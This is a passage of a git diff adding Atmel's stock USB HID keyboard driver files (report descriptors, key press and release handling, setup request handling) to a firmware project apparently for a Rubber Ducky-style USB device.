ACCESS_STREAM == ENABLED + + +#endif // _CTRL_ACCESS_H_ diff --git a/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/common/services/usb/class/hid/device/kbd/udi_hid_kbd.c b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/common/services/usb/class/hid/device/kbd/udi_hid_kbd.c new file mode 100755 index 0000000..f8d47d4 --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/common/services/usb/class/hid/device/kbd/udi_hid_kbd.c @@ -0,0 +1,368 @@ +/** + * \file + * + * \brief USB Device Human Interface Device (HID) keyboard interface. + * + * Copyright (C) 2009 Atmel Corporation. All rights reserved. + * + * \page License + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, + * this list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an + * Atmel AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR + * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER + * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH + * DAMAGE. + */ + +#include "conf_usb.h" +#include "usb_protocol.h" +#include "udd.h" +#include "udc.h" +#include "udi_hid.h" +#include "udi_hid_kbd.h" +#include + +/** + * \addtogroup udi_hid_keyboard_group + * @{ + */ + +/** + * \name Interface for UDC + */ +//@{ + +bool udi_hid_kbd_enable(void); +void udi_hid_kbd_disable(void); +bool udi_hid_kbd_setup(void); +uint8_t udi_hid_kbd_getsetting(void); + +//! Global structure which contains standard UDI interface for UDC +UDC_DESC_STORAGE udi_api_t udi_api_hid_kbd = { + .enable = (bool(*)(void))udi_hid_kbd_enable, + .disable = (void (*)(void))udi_hid_kbd_disable, + .setup = (bool(*)(void))udi_hid_kbd_setup, + .getsetting = (uint8_t(*)(void))udi_hid_kbd_getsetting, +}; + +//@} + + +/** + * \name Internal defines and variables to manage HID keyboard + */ +//@{ + +//! Size of report for standard HID keyboard +#define UDI_HID_KBD_REPORT_SIZE 8 + + +//! To store current rate of HID keyboard +static uint8_t udi_hid_kbd_rate; +//! To store current protocol of HID keyboard +static uint8_t udi_hid_kbd_protocol; +//! To store report feedback from USB host +static uint8_t udi_hid_kbd_report_set; +//! To signal if a valid report is ready to send +static bool udi_hid_kbd_b_report_valid; +//! Report ready to send +static uint8_t udi_hid_kbd_report[UDI_HID_KBD_REPORT_SIZE]; +//! Signal if a report transfer is on going +static bool udi_hid_kbd_b_report_trans_ongoing; +//! Buffer used to send report +COMPILER_WORD_ALIGNED + static uint8_t + udi_hid_kbd_report_trans[UDI_HID_KBD_REPORT_SIZE]; + +//@} + +//! HID report descriptor for standard HID keyboard +UDC_DESC_STORAGE udi_hid_kbd_report_desc_t udi_hid_kbd_report_desc = { + { + 0x05, 0x01, /* Usage Page (Generic Desktop) */ + 0x09, 0x06, /* Usage (Keyboard) */ + 0xA1, 0x01, /* Collection (Application) */ + 0x05, 0x07, /* Usage Page (Keyboard) */ + 0x19, 224, /* Usage Minimum (224) */ + 0x29, 231, /* Usage Maximum (231) */ + 0x15, 0x00, /* Logical Minimum (0) */ + 0x25, 0x01, /* Logical Maximum (1) */ + 0x75, 0x01, /* Report Size (1) */ + 0x95, 0x08, /* Report Count (8) */ + 0x81, 0x02, /* Input (Data, Variable, Absolute) */ + 0x81, 0x01, /* Input (Constant) */ + 0x19, 0x00, /* Usage Minimum (0) */ + 0x29, 101, /* Usage Maximum (101) */ + 0x15, 0x00, /* Logical Minimum (0) */ + 0x25, 101, /* Logical Maximum (101) */ + 0x75, 0x08, /* Report Size (8) */ + 0x95, 0x06, /* Report Count (6) */ + 0x81, 0x00, /* Input (Data, Array) */ + 0x05, 0x08, /* Usage Page (LED) */ + 0x19, 0x01, /* Usage Minimum (1) */ + 0x29, 0x05, /* Usage Maximum (5) */ + 0x15, 0x00, /* Logical Minimum (0) */ + 0x25, 0x01, /* Logical Maximum (1) */ + 0x75, 0x01, /* Report Size (1) */ + 0x95, 0x05, /* Report Count (5) */ + 0x91, 0x02, /* Output (Data, Variable, Absolute) */ + 0x95, 0x03, /* Report Count (3) */ + 0x91, 0x01, /* Output (Constant) */ + 0xC0 /* End Collection */ + } +}; + +/** + * \name Internal routines + */ +//@{ + +/** + * \brief Changes keyboard report states (like LEDs) + * + * \param rate New rate value + * + */ +static bool udi_hid_kbd_setreport(void); + +/** + * \brief Send the report + * + * \return \c 1 if send on going, \c 0 if delay. + */ +static bool udi_hid_kbd_send_report(void); + +/** + * \brief Callback called when the report is sent + * + * \param status UDD_EP_TRANSFER_OK, if transfer is completed + * \param status UDD_EP_TRANSFER_ABORT, if transfer is aborted + * \param nb_sent number of data transfered + * + * \return \c 1 if function was successfully done, otherwise \c 0. + */ +void udi_hid_kbd_report_sent(udd_ep_status_t status, iram_size_t nb_sent); + +/** + * \brief Callback called to update report from USB host + * udi_hid_kbd_report_set is updated before callback execution + */ +static void udi_hid_kbd_setreport_valid(void); + +//@} + + +//-------------------------------------------- +//------ Interface for UDI HID level + +bool udi_hid_kbd_enable(void) +{ + // Initialize internal values + udi_hid_kbd_rate = 0; + udi_hid_kbd_protocol = 0; + udi_hid_kbd_b_report_trans_ongoing = false; + memset(udi_hid_kbd_report, 0, UDI_HID_KBD_REPORT_SIZE); + udi_hid_kbd_b_report_valid = false; + return UDI_HID_KBD_ENABLE_EXT(); +} + + +void udi_hid_kbd_disable(void) +{ + UDI_HID_KBD_DISABLE_EXT(); +} + + +bool udi_hid_kbd_setup(void) +{ + return udi_hid_setup(&udi_hid_kbd_rate, + &udi_hid_kbd_protocol, + (uint8_t *) &udi_hid_kbd_report_desc, + udi_hid_kbd_setreport); +} + + +uint8_t udi_hid_kbd_getsetting(void) +{ + return 0; +} + + +static bool udi_hid_kbd_setreport(void) +{ + if ((USB_HID_REPORT_TYPE_OUTPUT == (udd_g_ctrlreq.req.wValue >> 8)) + && (0 == (0xFF & udd_g_ctrlreq.req.wValue)) + && (1 == udd_g_ctrlreq.req.wLength)) { + // Report OUT type on report ID 0 from USB Host + udd_g_ctrlreq.payload = &udi_hid_kbd_report_set; + udd_g_ctrlreq.callback = udi_hid_kbd_setreport_valid; + udd_g_ctrlreq.payload_size = 1; + return true; + } + return false; +} + + +//-------------------------------------------- +//------ Interface for application + +bool udi_hid_kbd_modifier_up(uint8_t modifier_id) +{ + irqflags_t flags = cpu_irq_save(); + + // Fill report + udi_hid_kbd_report[0] &= ~modifier_id; + udi_hid_kbd_b_report_valid = true; + + // Send report + udi_hid_kbd_send_report(); + + cpu_irq_restore(flags); + return true; +} + + +bool udi_hid_kbd_modifier_down(uint8_t modifier_id) +{ + irqflags_t flags = cpu_irq_save(); + + // Fill report + udi_hid_kbd_report[0] |= modifier_id; + udi_hid_kbd_b_report_valid = true; + + // Send report + udi_hid_kbd_send_report(); + + cpu_irq_restore(flags); + return true; +} + + +bool udi_hid_kbd_up(uint8_t key_id) +{ + uint8_t i; + + irqflags_t flags = cpu_irq_save(); + + // Fill report + for (i = 2; i < UDI_HID_KBD_REPORT_SIZE; i++) { + if (0 == udi_hid_kbd_report[i]) { + // Already removed + cpu_irq_restore(flags); + return true; + } + if (key_id == udi_hid_kbd_report[i]) + break; + } + if (UDI_HID_KBD_REPORT_SIZE == i) { + // Already removed + cpu_irq_restore(flags); + return true; + } + // Remove key and shift + while (i < (UDI_HID_KBD_REPORT_SIZE - 1)) { + udi_hid_kbd_report[i] = udi_hid_kbd_report[i + 1]; + i++; + } + udi_hid_kbd_report[UDI_HID_KBD_REPORT_SIZE - 1] = 0x00; + udi_hid_kbd_b_report_valid = true; + + // Send report + udi_hid_kbd_send_report(); + + cpu_irq_restore(flags); + return true; +} + + +bool udi_hid_kbd_down(uint8_t key_id) +{ + uint8_t i; + + irqflags_t flags = cpu_irq_save(); + + // Fill report + for (i = 2; i < UDI_HID_KBD_REPORT_SIZE; i++) { + if (0 == udi_hid_kbd_report[i]) + break; + if (key_id == udi_hid_kbd_report[i]) { + // Already in array + cpu_irq_restore(flags); + return true; + } + } + + if (UDI_HID_KBD_REPORT_SIZE == i) { + // Array full + // TODO manage more than UDI_HID_KBD_REPORT_SIZE key pressed in same time + cpu_irq_restore(flags); + return false; + } + // Add key at the end of array + udi_hid_kbd_report[i] = key_id; + udi_hid_kbd_b_report_valid = true; + + // Send report + udi_hid_kbd_send_report(); + + // Enable IT + cpu_irq_restore(flags); + return true; +} + + +//-------------------------------------------- +//------ Internal routines + +static bool udi_hid_kbd_send_report(void) +{ + if (udi_hid_kbd_b_report_trans_ongoing) + return false; + memcpy(udi_hid_kbd_report_trans, udi_hid_kbd_report, + UDI_HID_KBD_REPORT_SIZE); + udi_hid_kbd_b_report_valid = false; + udi_hid_kbd_b_report_trans_ongoing = + udd_ep_run( UDI_HID_KBD_EP_IN, + false, + udi_hid_kbd_report_trans, + UDI_HID_KBD_REPORT_SIZE, + udi_hid_kbd_report_sent); + return udi_hid_kbd_b_report_trans_ongoing; +} + +void udi_hid_kbd_report_sent(udd_ep_status_t status, iram_size_t nb_sent) +{ + udi_hid_kbd_b_report_trans_ongoing = false; + if (udi_hid_kbd_b_report_valid) { + udi_hid_kbd_send_report(); + } +} + +static void udi_hid_kbd_setreport_valid(void) +{ + UDI_HID_KBD_CHANGE_LED(udi_hid_kbd_report_set); +} + +//@} diff --git a/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/common/services/usb/class/hid/device/kbd/udi_hid_kbd.h b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/common/services/usb/class/hid/device/kbd/udi_hid_kbd.h new file mode 100755 index 0000000..ef2d10f --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/common/services/usb/class/hid/device/kbd/udi_hid_kbd.h @@ -0,0 +1,169 @@ +/** + * \file + * + * \brief USB Device Human Interface Device (HID) keyboard interface. + * + * Copyright (C) 2009 Atmel Corporation. All rights reserved. + * + * \page License + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, + * this list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an + * Atmel AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR + * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER + * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH + * DAMAGE. + */ + +#ifndef _UDC_HID_KBD_H_ +#define _UDC_HID_KBD_H_ + +#include "conf_usb.h" +#include "usb_protocol.h" +#include "usb_protocol_hid.h" +#include "udc_desc.h" +#include "udi.h" + +#ifdef __cplusplus +extern "C" { +#endif + +/** + * \ingroup udi_hid_group + * \defgroup udi_hid_keyboard_group UDI for Human Interface Device keyboard Class + * base on UDI HID + * @{ + */ + +//! Global structure which contains standard UDI API for UDC +extern UDC_DESC_STORAGE udi_api_t udi_api_hid_kbd; + +/** + * \name Interface Descriptor + * + * The following structures provide the interface descriptor. + * It must be implemented in USB configuration descriptor. + */ +//@{ + +//! Interface descriptor structure for HID keyboard +typedef struct { + usb_iface_desc_t iface; + usb_hid_descriptor_t hid; + usb_ep_desc_t ep; +} udi_hid_kbd_desc_t; + +//! Report descriptor for HID keyboard +typedef struct { + uint8_t array[59]; +} udi_hid_kbd_report_desc_t; + + +//! By default no string associated to this interface +#ifndef UDI_HID_KBD_STRING_ID +#define UDI_HID_KBD_STRING_ID 0 +#endif + +//! HID keyboard endpoints size +#define UDI_HID_KBD_EP_SIZE 8 + +//! Content of HID keyboard interface descriptor for all speed +#define UDI_HID_KBD_DESC {\ + .iface.bLength = sizeof(usb_iface_desc_t),\ + .iface.bDescriptorType = USB_DT_INTERFACE,\ + .iface.bInterfaceNumber = UDI_HID_KBD_IFACE_NUMBER,\ + .iface.bAlternateSetting = 0,\ + .iface.bNumEndpoints = 1,\ + .iface.bInterfaceClass = HID_CLASS,\ + .iface.bInterfaceSubClass = HID_SUB_CLASS_NOBOOT,\ + .iface.bInterfaceProtocol = HID_PROTOCOL_KEYBOARD,\ + .iface.iInterface = UDI_HID_KBD_STRING_ID,\ + .hid.bLength = sizeof(usb_hid_descriptor_t),\ + .hid.bDescriptorType = USB_DT_HID,\ + .hid.bcdHID = LE16(USB_HID_BDC_V1_11),\ + .hid.bCountryCode = USB_HID_NO_COUNTRY_CODE,\ + .hid.bNumDescriptors = USB_HID_NUM_DESC,\ + .hid.bRDescriptorType = USB_DT_HID_REPORT,\ + .hid.wDescriptorLength = LE16(sizeof(udi_hid_kbd_report_desc_t)),\ + .ep.bLength = sizeof(usb_ep_desc_t),\ + .ep.bDescriptorType = USB_DT_ENDPOINT,\ + .ep.bEndpointAddress = UDI_HID_KBD_EP_IN,\ + .ep.bmAttributes = USB_EP_TYPE_INTERRUPT,\ + .ep.wMaxPacketSize = LE16(UDI_HID_KBD_EP_SIZE),\ + .ep.bInterval = 2,\ + } +//@} + + + +/** + * \name Interface for application + * + * These routines are used by application to send keyboard events + */ +//@{ + +/** + * \brief Send events key modifier released + * + * \param modifier_id ID of key modifier + * + * \return \c 1 if function was successfully done, otherwise \c 0. + */ +bool udi_hid_kbd_modifier_up(uint8_t modifier_id); + +/** + * \brief Send events key modifier pressed + * + * \param modifier_id ID of key modifier + * + * \return \c 1 if function was successfully done, otherwise \c 0. + */ +bool udi_hid_kbd_modifier_down(uint8_t modifier_id); + + +/** + * \brief Send events key modifier released + * + * \param key_id ID of key + * + * \return \c 1 if function was successfully done, otherwise \c 0. + */ +bool udi_hid_kbd_up(uint8_t key_id); + +/** + * \brief Send events key modifier pressed + * + * \param key_id ID of key + * + */ +bool udi_hid_kbd_down(uint8_t key_id); +//@} + +//@} + +#ifdef __cplusplus +} +#endif +#endif // _UDC_HID_KBD_H_ diff --git a/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/common/services/usb/class/hid/device/kbd/udi_hid_kbd_conf.h b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/common/services/usb/class/hid/device/kbd/udi_hid_kbd_conf.h new file mode 100755 index 0000000..3818785 --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/common/services/usb/class/hid/device/kbd/udi_hid_kbd_conf.h @@ -0,0 +1,72 @@ +/** + * \file + * + * \brief Default HID keyboard configuration for a USB Device + * with a single interface HID keyboard + * + * Copyright (C) 2009 Atmel Corporation. All rights reserved. + * + * \page License + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, + * this list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an + * Atmel AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR + * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER + * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH + * DAMAGE. + */ + +#ifndef _UDI_HID_KBD_CONF_H_ +#define _UDI_HID_KBD_CONF_H_ + +/** + * \ingroup udi_hid_keyboard_group + * \defgroup udi_hid_keyboard_group_conf Default HID keyboard configuration + * for a USB Device with a single interface HID + * + * @{ + */ + +//! Control endpoint size +#define USB_DEVICE_EP_CTRL_SIZE 8 + +//! Endpoint number used by HID keyboard interface +#define UDI_HID_KBD_EP_IN (1 | USB_EP_DIR_IN) + +//! Interface number +#define UDI_HID_KBD_IFACE_NUMBER 0 + +/** + * \name UDD Configuration + */ +//@{ +//! 1 endpoint used by HID keyboard standard interface +#define USB_DEVICE_MAX_EP 1 +//@} + +//@} + +#include "udi_hid_kbd.h" + +#endif // _UDI_HID_KBD_CONF_H_ diff --git a/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/common/services/usb/class/hid/device/kbd/udi_hid_kbd_desc.c b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/common/services/usb/class/hid/device/kbd/udi_hid_kbd_desc.c new file mode 100755 index 0000000..3fd2fb4 --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/common/services/usb/class/hid/device/kbd/udi_hid_kbd_desc.c @@ -0,0 +1,158 @@ +/** + * \file + * + * \brief Default descriptors for a USB Device + * with a single interface HID keyboard + * + * Copyright (C) 2009 Atmel Corporation. All rights reserved. + * + * \page License + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, + * this list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an + * Atmel AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR + * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER + * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH + * DAMAGE. + */ + +#include "conf_usb.h" +#include "udd.h" +#include "udc_desc.h" +#include "udi_hid.h" +#include "udi_hid_kbd.h" + +/** + * \ingroup udi_hid_keyboard_group + * \defgroup udi_hid_keyboard_group_desc Default descriptors for a USB Device + * with a single interface HID keyboard + * + * @{ + */ + +//! Only one interface for this device +#define USB_DEVICE_NB_INTERFACE 1 + +/**INDENT-OFF**/ +//! USB Device Descriptor +COMPILER_WORD_ALIGNED +UDC_DESC_STORAGE usb_dev_desc_t udc_device_desc = { + .bLength = sizeof(usb_dev_desc_t), + .bDescriptorType = USB_DT_DEVICE, + .bcdUSB = LE16(USB_V2_0), + .bDeviceClass = 0, + .bDeviceSubClass = 0, + .bDeviceProtocol = 0, + .bMaxPacketSize0 = USB_DEVICE_EP_CTRL_SIZE, + .idVendor = LE16(USB_DEVICE_VENDOR_ID), + .idProduct = LE16(USB_DEVICE_PRODUCT_ID), + .bcdDevice = LE16((USB_DEVICE_MAJOR_VERSION << 8) + | USB_DEVICE_MINOR_VERSION), +#ifdef USB_DEVICE_MANUFACTURE_NAME + .iManufacturer = 1, +#else + .iManufacturer = 0, // No manufacture string +#endif +#ifdef USB_DEVICE_PRODUCT_NAME + .iProduct = 2, +#else + .iProduct = 0, // No product string +#endif +#ifdef USB_DEVICE_SERIAL_NAME + .iSerialNumber = 3, +#else + .iSerialNumber = 0, // No serial string +#endif + .bNumConfigurations = 1 +}; + + +#ifdef USB_DEVICE_HS_SUPPORT +//! USB Device Qualifier Descriptor for HS +COMPILER_WORD_ALIGNED +UDC_DESC_STORAGE usb_dev_qual_desc_t udc_device_qual = { + .bLength = sizeof(usb_dev_qual_desc_t), + .bDescriptorType = USB_DT_DEVICE_QUALIFIER, + .bcdUSB = LE16(USB_V2_0), + .bDeviceClass = 0, + .bDeviceSubClass = 0, + .bDeviceProtocol = 0, + .bMaxPacketSize0 = USB_DEVICE_EP_CTRL_SIZE, + .bNumConfigurations = 1 +}; +#endif + +//! Structure for USB Device Configuration Descriptor +COMPILER_PACK_SET(1); +typedef struct { + usb_conf_desc_t conf; + udi_hid_kbd_desc_t hid_kbd; +} udc_desc_t; +COMPILER_PACK_RESET(); + +//! USB Device Configuration Descriptor filled for FS and HS +COMPILER_WORD_ALIGNED +UDC_DESC_STORAGE udc_desc_t udc_desc = { + .conf.bLength = sizeof(usb_conf_desc_t), + .conf.bDescriptorType = USB_DT_CONFIGURATION, + .conf.wTotalLength = LE16(sizeof(udc_desc_t)), + .conf.bNumInterfaces = USB_DEVICE_NB_INTERFACE, + .conf.bConfigurationValue = 1, + .conf.iConfiguration = 0, + .conf.bmAttributes = USB_CONFIG_ATTR_MUST_SET | USB_DEVICE_ATTR, + .conf.bMaxPower = USB_CONFIG_MAX_POWER(USB_DEVICE_POWER), + .hid_kbd = UDI_HID_KBD_DESC, +}; + + +/** + * \name UDC structures which contains all USB Device definitions + */ +//@{ + +//! Associate an UDI for each USB interface +UDC_DESC_STORAGE udi_api_t *udi_apis[USB_DEVICE_NB_INTERFACE] = { + &udi_api_hid_kbd, +}; + +//! Add UDI with USB Descriptors FS & HS +UDC_DESC_STORAGE udc_config_speed_t udc_config_fshs[1] = {{ + .desc = (usb_conf_desc_t UDC_DESC_STORAGE*)&udc_desc, + .udi_apis = udi_apis, +}}; + +//! Add all information about USB Device in global structure for UDC +UDC_DESC_STORAGE udc_config_t udc_config = { + .confdev_lsfs = &udc_device_desc, + .conf_lsfs = udc_config_fshs, +#ifdef USB_DEVICE_HS_SUPPORT + .confdev_hs = &udc_device_desc, + .qualifier = &udc_device_qual, + .conf_hs = udc_config_fshs, +#endif +}; + +//@} +/**INDENT-ON**/ +//@} diff --git a/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/common/services/usb/class/hid/device/udi_hid.c b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/common/services/usb/class/hid/device/udi_hid.c new file mode 100755 index 0000000..3f4c076 --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/common/services/usb/class/hid/device/udi_hid.c @@ -0,0 +1,162 @@ +/** + * \file + * + * \brief USB Device Human Interface Device (HID) interface. + * + * Copyright (C) 2009 Atmel Corporation. All rights reserved. + * + * \page License + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, + * this list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an + * Atmel AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR + * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER + * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH + * DAMAGE. + */ + +#include "conf_usb.h" +#include "usb_protocol.h" +#include "udd.h" +#include "udc.h" +#include "udi_hid.h" + + +/** + * \addtogroup udi_hid_group + * @{ + */ + +/** + * \name Internal routines + */ +//@{ + +/** + * \brief Send the specific descriptors requested by SETUP request + * + * \retval true if the descriptor is supported + */ +static bool udi_hid_reqstdifaceget_descriptor(uint8_t *report_desc); + +//@} + +bool udi_hid_setup( uint8_t *rate, uint8_t *protocol, uint8_t *report_desc, bool (*set_report)(void) ) +{ + if (Udd_setup_is_in()) { + // Requests Interface GET + if (Udd_setup_type() == USB_REQ_TYPE_STANDARD) { + // Requests Standard Interface Get + switch (udd_g_ctrlreq.req.bRequest) { + + case USB_REQ_GET_DESCRIPTOR: + return udi_hid_reqstdifaceget_descriptor(report_desc); + } + } + if (Udd_setup_type() == USB_REQ_TYPE_CLASS) { + // Requests Class Interface Get + switch (udd_g_ctrlreq.req.bRequest) { + + case USB_REQ_HID_GET_REPORT: + // TODO + break; + + case USB_REQ_HID_GET_IDLE: + udd_g_ctrlreq.payload = rate; + udd_g_ctrlreq.payload_size = 1; + return true; + + case USB_REQ_HID_GET_PROTOCOL: + udd_g_ctrlreq.payload = protocol; + udd_g_ctrlreq.payload_size = 1; + return true; + } + } + } + if (Udd_setup_is_out()) { + // Requests Interface SET + if (Udd_setup_type() == USB_REQ_TYPE_CLASS) { + // Requests Class Interface Set + switch (udd_g_ctrlreq.req.bRequest) { + + case USB_REQ_HID_SET_REPORT: + return set_report(); + + case USB_REQ_HID_SET_IDLE: + *rate = udd_g_ctrlreq.req.wValue >> 8; + return true; + + case USB_REQ_HID_SET_PROTOCOL: + if (0 != udd_g_ctrlreq.req.wLength) + return false; + *protocol = udd_g_ctrlreq.req.wValue; + return true; + } + } + } + return false; // Request not supported +} + + +//--------------------------------------------- +//------- Internal routines + +static bool udi_hid_reqstdifaceget_descriptor(uint8_t *report_desc) +{ + usb_hid_descriptor_t UDC_DESC_STORAGE *ptr_hid_desc; + + // Get the USB descriptor which is located after the interface descriptor + // This descriptor must be the HID descriptor + ptr_hid_desc = (usb_hid_descriptor_t UDC_DESC_STORAGE *) ((uint8_t *) + udc_get_interface_desc() + sizeof(usb_iface_desc_t)); + if (USB_DT_HID != ptr_hid_desc->bDescriptorType) + return false; + + // The SETUP request can ask for: + // - an USB_DT_HID descriptor + // - or USB_DT_HID_REPORT descriptor + // - or USB_DT_HID_PHYSICAL descriptor + if (USB_DT_HID == (uint8_t) (udd_g_ctrlreq.req.wValue >> 8)) { + // USB_DT_HID descriptor requested then send it + udd_g_ctrlreq.payload = (uint8_t *) ptr_hid_desc; + udd_g_ctrlreq.payload_size = + min(udd_g_ctrlreq.req.wLength, + ptr_hid_desc->bLength); + return true; + } + // The HID_X descriptor requested must correspond to report type + // included in the HID descriptor + if (ptr_hid_desc->bRDescriptorType == + (uint8_t) (udd_g_ctrlreq.req.wValue >> 8)) { + // Send HID Report descriptor given by high level + 